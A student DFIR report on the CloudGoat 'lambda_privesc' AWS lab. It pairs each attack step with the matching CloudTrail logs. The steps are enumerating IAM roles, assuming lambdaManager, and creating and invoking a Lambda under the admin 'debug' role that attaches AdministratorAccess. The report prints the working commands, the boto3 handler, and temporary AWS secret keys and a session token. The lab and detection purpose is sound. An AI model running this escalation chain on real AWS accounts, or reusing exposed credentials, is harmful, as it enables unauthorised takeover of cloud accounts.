Cloud DFIR

CloudGoat lambda privesc

제출일	2023. 08. 20	**트랙**	디지털포렌식
담당멘토	Nikolay Akatyev	**팀명**	SHINCHE Inc.

목차

1. Scenario

1.1 Summary

Starting as the IAM user Chris, the attacker discovers that they can assume a role that has full Lambda access and pass role permissions. The attacker can then perform privilege escalation to obtain full admin access.

1.2 Goal(s)

Acquire full admin privileges.

1.3. Walkthrough

1. Starting as the IAM user "Chris", the attacker analyses their privileges.
2. The attacker realizes they are able to list and assume IAM roles. There are two interesting IAM roles: lambdaManager and debug.
3. The attacker looks at the attached policies for the two IAM roles and realizes lambdaManager has full lambda access and pass role permissions and the debug role has full administrator privileges.
4. The attacker then tries to assume each role but realizes that they only have sufficient privileges to assume the lambdaManager role, and that the debug role can only be assumed by a Lambda function.
5. The attacker now leverages the lambdaManager role to perform a privilege escalation using a Lambda function.
6. First, the attacker writes a script that will attach the administrator policy to the IAM user "Chris".
7. Next, using the lambdaManager role, the attacker creates a Lambda function, specifying the code in step 6, and set the lambda execution role to the debug role.
8. Lastly, using the lambdaManager role, the attacker invokes the Lambda function, causing the administrator policy to be attached to the "Chris" user and thus gaining full admin access.

2. Exploitation

2.1. Get permission for the Chris user.

Get name and ARN of the user, Chris. ARN (Amazon Resource Name) is a unique identifier used to identify and refer to any resource within AWS universally.

```
d7mekz@d7buntu:~/Desktop/cloudgoat$ aws sts get-caller-identity --profile chris
{
    "UserId": "AIDARBNC42QVOLIWRJWL2",
    "Account": "071745459242",
    "Arn": "arn:aws:iam::071745459242:user/chris-lambda_privesc_cgidk69ezo98nb"
```

Fig 1. Get user information.

The event name for sts is “GetCallerIdentity”. GetCallerIdentity provides details about the entity making the

API request, including the AWS account, arn, and IAM user or role.


```
{
      "eventVersion": "1.08",
      "userIdentity": {
        "type": "IAMUser",
        "principalId": "AIDARBNC42QVMWXA67MSB",
        "arn": "arn:aws:iam::071745459242:user/D7MeKz",
        "accountId": "071745459242",
        "accessKeyId": "AKIARBNC42QVEPGS5V56",
        "userName": "D7MeKz"
      },
      "eventTime": "2023-08-16T04:13:57Z",
      "eventSource": "sts.amazonaws.com",
      "eventName": "GetCallerIdentity",
      "awsRegion": "us-east-1",
      "sourceIPAddress": "218.146.20.61",
      "userAgent": "APN/1.0 HashiCorp/1.0 Terraform/1.5.5
          (+https://www.terraform.io) terraform-provider-aws/5.12.0
          (+https://registry.terraform.io/providers/hashicorp/aws)
          aws-sdk-go-v2/1.20.1 os/linux lang/go#1.20.6 md/GOOS#linux
          md/GOARCH#amd64 api/sts#1.21.1",
      "requestParameters": null,
      "responseElements": null,
      "requestID": "fb91eaab-bf31-46e7-99db-e27728df6749",
      "eventID": "979497c0-0114-4ec9-8be4-43667034c320",
      "readOnly": true,
      "eventType": "AwsApiCall",
      "managementEvent": true,
      "recipientAccountId": "071745459242",
      "eventCategory": "Management",
      "tlsDetails": {
        "tlsVersion": "TLSv1.2",
        "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256",
        "clientProvidedHostHeader": "sts.us-east-1.amazonaws.com"
      }
```


Fig 2. Event log: GetCallerIdentity

2.2. Get attached policies and managed policies

In AWS, Policies define permission. They are categorized into managed policies and inline policies. "Attached policies" generally refer to managed policies attached to AWS identity and IAM users, groups, or roles.

```
d7mekz@d7buntu:~/Desktop/cloudgoat$ aws iam list-attached-user-policies --user-name chris-lambda
_privesc_cgidk69ezo98nb --profile chris
{
    "AttachedPolicies": [
        {
            "PolicyName": "cg-chris-policy-lambda_privesc_cgidk69ezo98nb",
            "PolicyArn": "arn:aws:iam::071745459242:policy/cg-chris-policy-lambda_privesc_cgidk6
9ezo98nb"
        }
    ]
}
```

The event name for listing the policies attached to a user is "ListAttachedUserPolicies".

```
  "eventTime": "2023-08-16T04:43:09Z",
  "eventSource": "iam.amazonaws.com",
  "eventName": "ListAttachedUserPolicies",
  "awsRegion": "us-east-1",
  "sourceIPAddress": "218.146.20.61",
  "userAgent": "aws-cli/2.13.0 Python/3.11.4 Linux/6.2.0-26-generic exe/x86_6
  "requestParameters": {
    "userName": "chris-lambda_privesc_cgidk69ezo98nb"
  },
  "responseElements": null,
  "requestID": "b4cd3d51-5db5-4953-b24e-29ef0f7b39a6",
  "eventID": "fbf37042-223d-435a-85c5-3af3ad421a7e",
  "readOnly": true,
  "eventType": "AwsApiCall",
  "managementEvent": true,
  "recipientAccountId": "071745459242",
  "eventCategory": "Management",
  "tlsDetails": {
    "tlsVersion": "TLSv1.2",
    "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256",
    "clientProvidedHostHeader": "iam.amazonaws.com"
  }
}
```


Fig 3. Event log: ListAttachedUserPolicies

2.3. Check the user role

Debug role can use the sts:AssumeRole operation to assume an IAM role. The Lambda Manager role is used to grant permissions when executing a Lambda. This means that the permissions held by the Lambda can be exploited to carry out an attack.


```
},
{
    "Path": "/",
    "RoleName": "cg-debug-role-lambda_privesc_cgidk69ezo98nb",
    "RoleId": "AROARBNC42QVNMET2LGQK",
    "Arn": "arn:aws:iam::071745459242:role/cg-debug-role-lambda_privesc_cgidk69ezo98nb",
    "CreateDate": "2023-08-16T04:14:19+00:00",
    "AssumeRolePolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Sid": "",
                "Effect": "Allow",
                "Principal": {
                    "Service": "lambda.amazonaws.com"
                },
                "Action": "sts:AssumeRole"
            }
        ]
    },
    "MaxSessionDuration": 3600
},
{
    "Path": "/",
    "RoleName": "cg-lambdaManager-role-lambda_privesc_cgidk69ezo98nb",
    "RoleId": "AROARBNC42QVDLBIHJ6NK",
    "Arn": "arn:aws:iam::071745459242:role/cg-lambdaManager-role-lambda_privesc_cgidk69ezo98nb",
    "CreateDate": "2023-08-16T04:14:28+00:00",
    "AssumeRolePolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Sid": "",
                "Effect": "Allow",
                "Principal": {
                    "AWS": "arn:aws:iam::071745459242:user/chris-lambda_privesc_cgidk69ezo98nb"
```

Fig 4. User role list

The event names for checking the role are “ListAttachedUserPolicies”, “ListGroupsForUser”, “ListUserPolices”, and “ListRoles”. If you want to get a set of temporary security credentials, use AssumeRole. To check the properties and permissions of a role itself, you can see GetRole and GetRolePolicy.


```
    },
    "eventTime": "2023-08-16T04:34:27Z",
    "eventSource": "iam.amazonaws.com",
    "eventName": "ListGroupsForUser",
    "awsRegion": "us-east-1",
    "sourceIPAddress": "218.146.20.61",
    "userAgent": "aws-internal/3 aws-sdk-java/1.12.521 Linux/5.1
    "requestParameters": {
      "userName": "chris-lambda_privesc_cgidk69ezo98nb"
    },
    "responseElements": null,
    "requestID": "495ac45e-151f-40c8-98c1-a76a2e618169",
    "eventID": "d0a75729-bb14-4c67-95da-f06d53299eeb",
    "readOnly": true,
    "eventType": "AwsApiCall",
    "managementEvent": true,
    "recipientAccountId": "071745459242",
    "eventCategory": "Management"
  },
```


Fig 5. Event log: ListGroupsForUser


```
  },
  "eventTime": "2023-08-16T04:34:23Z",
  "eventSource": "iam.amazonaws.com",
  "eventName": "ListRoles",
  "awsRegion": "us-east-1",
  "sourceIPAddress": "218.146.20.61",
  "userAgent": "AWS Internal",
  "requestParameters": {
    "maxItems": 1000
  },
  "responseElements": null,
  "requestID": "aa318968-c900-41d4-9f6a-cc2cc9e0a104",
  "eventID": "39da49cc-4654-4819-910f-7870cae65ac5",
  "readOnly": true,
  "eventType": "AwsApiCall",
  "managementEvent": true,
  "recipientAccountId": "071745459242",
  "eventCategory": "Management",
  "sessionCredentialFromConsole": "true"
},
```


Fig 6. Event log: ListRoles

2.4. Check policy

Debug role can escalate the privilege. If the Debug role has permissions(**sts:AssumeRole)** to modify IAM

settings and roles, it can facilitate an elevation of privileges for an attack.

```
d7mekz@d7buntu:~$ aws iam list-attached-role-policies --role-name cg-debug-role-lambda_privesc_cgidk69ezo98nb --profile chris
{
    "AttachedPolicies": [
        {
            "PolicyName": "AdministratorAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
        }
    ]
}
d7mekz@d7buntu:~$ aws iam list-attached-role-policies --role-name cg-lambdaManager-role-lambda_privesc_cgidk69ezo98nb --profile chris
{
    "AttachedPolicies": [
        {
            "PolicyName": "cg-lambdaManager-policy-lambda_privesc_cgidk69ezo98nb",
            "PolicyArn": "arn:aws:iam::071745459242:policy/cg-lambdaManager-policy-lambda_privesc_cgidk69ezo98nb"
        }
```

Fig 7. Roles and policies list

We checked the version of the role concerning lambdaManager. That permission is **iam:passRole**, which grants the authority to delegate roles to services or resources.

```
d7mekz@d7buntu:~$ aws iam get-policy-version --policy-arn arn:aws:iam::071745459242:policy/cg-la
mbdaManager-policy-lambda_privesc_cgidk69ezo98nb --version-id v1 --profile chris
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "lambda:*",
                        "iam:PassRole"
                    ],
                    "Effect": "Allow",
                    "Resource": "*",
                    "Sid": "lambdaManager"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2023-08-16T04:14:18+00:00"
    }
```

Fig 8. Get lambdaManager policy version.

According to the configuration below, "Effect" is set to "Allow", which means that the access permissions to specific actions are granted to a user (or role) who received the policy. Both "Action" and "Resource" have the value "*****", which indicates that permissions and access to all the resources within AWS are granted. We can leverage those policies as a means of reconnaissance, aiming to assess and exploit potential vulnerabilities.

```
d7mekz@d7buntu:~$ aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/AdministratorA
ccess --version-id v1 --profile chris
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Action": "*",
                    "Resource": "*"
                }
            ]
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2015-02-06T18:39:46+00:00"
    }
```

Fig 8. Get Debug policy version.

The event names for listing the policy version are “GetPolicy”, “GetPolicyVersin”, “ListPolices”, “ListPolicyVersions”, “ListAttachedGroupPolicies”, and “GetGroupPolicy”.


```
    },
    "eventTime": "2023-08-16T04:34:23Z",
    "eventSource": "iam.amazonaws.com",
    "eventName": "ListGroups",
    "awsRegion": "us-east-1",
    "sourceIPAddress": "218.146.20.61",
    "userAgent": "AWS Internal",
    "requestParameters": {
      "maxItems": 1000
    },
    "responseElements": null,
    "requestID": "0784eff9-a676-4012-82c0-51d10f733deb",
    "eventID": "48489484-5c8a-450d-8623-bf6f12b83f13",
    "readOnly": true,
    "eventType": "AwsApiCall",
    "managementEvent": true,
    "recipientAccountId": "071745459242",
    "eventCategory": "Management",
    "sessionCredentialFromConsole": "true"
  },
```


Fig 9. Event log: ListGroups

2.5. Get lambdaManager access key

We generated an access token using AWS STS. STS creates security tokens, which are used for enhanced secure access control.


```
d7mekz@d7buntu:~$ aws sts assume-role --role-arn arn:aws:iam::071745459242:role/cg-lambdaManager-role-lambda_privesc_
gidk69ezo98nb --role-session-name lambdaManager --profile chris
{
    "Credentials": {
        "AccessKeyId": "ASIARBNC42QVOJTFWRKI",
        "SecretAccessKey": "SwjZRx6Mugc8eyFuoTX1+jxZrCJ2VTMxkygZddKY",
        "SessionToken": "FwoGZXIvYXdzEML/////////wEaDO2qIcJVOIGHBwKTeCKxAb2zxgtou++W9SrD4gUsHZUi0WAAKguMJQwFyzKgVvTb
Bi0P7FMlPVjffJLjuCtZoCJ2Mga3smzp599MY0ivoZbts7FrtjqXsAIznnILacvwycBd+tZ8mH8686XCAo4SDgg5932bQ9aTRyyxwPCID/i7c570l9qJ1
4n8pyYw9vZqVEOfe+Cq1jSbAW11wf/ANXOSte/u5AC531OMYjw2ZXEsbmo59B5+bA22Ujz0MqeSj00fWmBjItFb/JKtgfaI/Q21NCL0CyhfJSWjbdd4o1
IHMZ8b0phfisIEI7Tzr0x6qPs/6",
        "Expiration": "2023-08-17T01:25:24+00:00"
    },
    "AssumedRoleUser": {
        "AssumedRoleId": "AROARBNC42QVDLBIHJ6NK:lambdaManager",
        "Arn": "arn:aws:sts::071745459242:assumed-role/cg-lambdaManager-role-lambda_privesc_cgidk69ezo98nb/lambdaMana
er"
    }
}
```


Fig 10. Generate LambdaManager’s security token.

The event name for generating the token is “AssumeRole”.


```
"eventTime": "2023-08-17T00:25:24Z",
"eventSource": "sts.amazonaws.com",
"eventName": "AssumeRole",
"awsRegion": "us-east-1",
"sourceIPAddress": "218.146.20.61",
"userAgent": "aws-cli/2.13.0 Python/3.11.4 Linux/6.2.0-26-generic exe/x86_64.ubuntu
"requestParameters": {
  "roleArn": "arn:aws:iam::071745459242:role/cg-lambdaManager-role-lambda_privesc_c
  "roleSessionName": "lambdaManager"
},
"responseElements": {
  "credentials": {
    "accessKeyId": "ASIARBNC42QVOJTFWRKI",
    "sessionToken": "FwoGZXIvYXdzEML/////////wEaDO2qIcJVOIGHBwKTeCKxAb2zxgtou++W9S
    "expiration": "Aug 17, 2023, 1:25:24 AM"
  },
  "assumedRoleUser": {
    "assumedRoleId": "AROARBNC42QVDLBIHJ6NK:lambdaManager",
    "arn": "arn:aws:sts::071745459242:assumed-role/cg-lambdaManager-role-lambda_pri
  }
```


Fig 11. Event log: AssumeRole

We saved lambdaManager as a profile.

Fig 11. Save LambdaManager as profile.

The event name for sts is “CreateAccessKey”, and “UpdateAccessKey”.


```
"eventTime": "2023-08-16T04:14:19Z",
"eventSource": "iam.amazonaws.com",
"eventName": "CreateAccessKey",
"awsRegion": "us-east-1",
"sourceIPAddress": "218.146.20.61",
"userAgent": "APN/1.0 HashiCorp/1.0 Terraform/1.5.5 (+https://www.terraform.io)
"requestParameters": {
  "userName": "chris-lambda_privesc_cgidk69ezo98nb"
},
"responseElements": {
  "accessKey": {
    "accessKeyId": "AKIARBNC42QVPBK66IOA",
    "status": "Active",
    "userName": "chris-lambda_privesc_cgidk69ezo98nb",
    "createDate": "Aug 16, 2023 4:14:19 AM"
  }
},
```


Fig 12. Event log: CreateAccessKey

2.6. Create and execute Lambda function.

Create lambda function to attach the debug policy. We used Lambda function to obtain temporal elevated permission and revert to a more restrictive policy.

```
from boto3 import *
def lambda_handler(evt, cont):
    cli = client('iam')
    resp = cli.attach_user_policy(
        UserName='chris-lambda_privesc_cgidk69ezo98nb',
        PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
    )
    return resp
```

Fig 13. Lambda handler function

Create lambda function using create-function command.

```
aws lambda create-function ₩
        --function-name admin_function ₩
        --runtime python3.9 ₩
        --role arn:aws:iam::071745459242:role/cg-debug-role-lambda_privesc_cgidk69ezo98nb₩
        --handler lambda_function.lambda_handler ₩
        --zip-file fileb://lambda_function.py.zip ₩
        --profile lambdaManager
```


```
"FunctionName": "admin_function",
"FunctionArn": "arn:aws:lambda:us-east-1:071745459242:function:admin_function",
"Runtime": "python3.9",
"Role": "arn:aws:iam::071745459242:role/cg-debug-role-lambda_privesc_cgidk69ezo98nb",
"Handler": "lambda_function.lambda_handler",
"CodeSize": 307,
"Description": "",
"Timeout": 3,
"MemorySize": 128,
"LastModified": "2023-08-17T06:39:45.068+0000",
"CodeSha256": "zmWYzzSAUXufKe3/BmVq6pHOHxtmg9DHFNSNkHkBhZ8=",
"Version": "$LATEST",
"TracingConfig": {
    "Mode": "PassThrough"
},
"RevisionId": "c9e73322-5e1f-461a-b1e4-f1d165e5e184",
"State": "Pending",
"StateReason": "The function is being created.",
"StateReasonCode": "Creating",
"PackageType": "Zip",
"Architectures": [
    "x86_64"
],
"EphemeralStorage": {
    "Size": 512
},
"SnapStart": {
    "ApplyOn": "None",
    "OptimizationStatus": "Off"
},
"RuntimeVersionConfig": {
    "RuntimeVersionArn": "arn:aws:lambda:us-east-1::runtime:8b2da41983f6dd685974eb4c51b1e17f979490a86c28f7f58f61d6b5181c90ab"
}
```


Fig 14. Create Lambda Function

The event name for the creation of lambda function is “CreateFunction”.


```
  "eventTime": "2023-08-17T06:27:54Z",
  "eventSource": "lambda.amazonaws.com",
  "eventName": "CreateFunction20150331",
  "awsRegion": "us-east-1",
  "sourceIPAddress": "218.146.20.61",
  "userAgent": "aws-cli/1.29.28 md/Botocore#1.31.28 ua/2.0 os/linux#6.2.0-26-generi
  "errorCode": "InvalidParameterValueException",
  "errorMessage": "The role defined for the function cannot be assumed by Lambda.",
  "requestParameters": {
    "functionName": "admin_function",
    "runtime": "python3.9",
    "role": "arn:aws:iam::071745459242:role/cg-lambdaManager-role-lambda_privesc_cg
    "handler": "chris_lambdaManager_handler.lambda_handler",
    "code": {},
    "publish": false,
    "environment": {}
  },
  "responseElements": null,
  "requestID": "6fb3d1e8-6b12-40a2-a761-c4da20173d3a",
  "eventID": "e4b96ffa-1d60-4207-999f-44f3bcdaf866",
  "readOnly": false,
  "eventType": "AwsApiCall",
  "managementEvent": true,
  "recipientAccountId": "071745459242",
  "eventCategory": "Management",
  "tlsDetails": {
    "tlsVersion": "TLSv1.2",
    "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256",
    "clientProvidedHostHeader": "lambda.us-east-1.amazonaws.com"
  }
}
```


Fig 15. Event log: CreateFunction

2.7. Execute lambda function.

We checked if the lambdaManager was properly attached with the policy. Upon verification, it was found that lambdaManager can run debug with full admin permissions.

```
d7mekz@d7buntu:~/Desktop/nlko$ aws lambda invoke --function-name admin_function out.txt --profile lambdaManager
{
    "StatusCode": 200,
    "ExecutedVersion": "$LATEST"
}
```

Fig 16. Execute lambda function.

The event name for executing lambda function is “Invoke”. Now, we can use debug policy as full administrator.

Fig 17. Check policy.

3. Conclusion

This scenario is based on misconfiguration, which is one of the most common security vulnerabilities encountered in cloud environments. Therefore, when setting up a cloud environment, it's essential to pay attention to this issues.